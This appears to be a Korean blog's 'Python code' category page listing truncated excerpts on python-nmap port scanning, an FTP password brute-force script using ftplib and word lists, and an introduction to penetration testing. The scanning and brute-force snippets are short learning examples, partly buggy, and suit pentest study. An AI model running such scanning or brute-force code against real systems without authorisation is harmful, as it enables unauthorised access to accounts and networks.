본문 바로가기

파이썬 코드

(11)
파이썬을 이용한 NMAP 사용 기본코딩 import nmap port_scan = nmap.PortScanner() port_results = port_scan.scan("192.168.140.128","80","-sV") print(port_results) print(port_scan.command_line()) for host in port_scan.all_host(): print("호스트 정보", host, port_scan[host].hostname() print("호스트 상태", port_scan[host].state()) 응용형 import nmap port_scan = nmap.PortScanner() host_list = input("호스트 정보 입력 : ") port_list = "21,22,80" port_scan...
파이썬 무작위 대입공격 도구 import ftplib def bruteforce(ip, user, password): ftp = ftplib.FTP(ip) try : print(" 사용자 아이디 {}, 패스워드 {} " .format(user, password)) res = ftp.login(user, password) print(res) except exception as ex: print("연결오류", ex) def main(): ip = input("IP정보를 입력하세요. ") with open ("users.txt" ,"r") as users: users = users.readline() with open ("password.txt","r") as passwords: passwords = passwords.readline()..
모의해킹 Panetration : 침투, 침입, 해킹 + Test = 모의해킹 국내에서는 모의해킹이란 단어로 쓰이나 해외에서는 Pentest로 불리고 있음 해커와 동일한 환경에서 고객 환경을 공격하여 취약점을 발견하는 방식으로 진행되며 모의 해커들은 화이트 해커로도 불림, 오래전에는 해커와 크래커로 구분이 되었으나 근래에는 블랙해커와 화이트해커로 구분됨 해킹 대상은 모든 IT 인프라 볼 수 있으며, 현행 트렌드상 주된 해킹 대상은 서버, 컴퓨터 등 거치형 장비에서 IoT, 모바일 등으로 점진적으로 옮겨가는 추세임 그 이유는 사용량이 많기 때문으로 사료됨 모의해킹을 하는 이유? 1. 법률에 명시가 되어 있기 때문에 정보통신망법, 개인정보법, 신용거래법, 전자금융 감독규정 등 정보보안 항목에 침해대응 또는 해킹 등 ..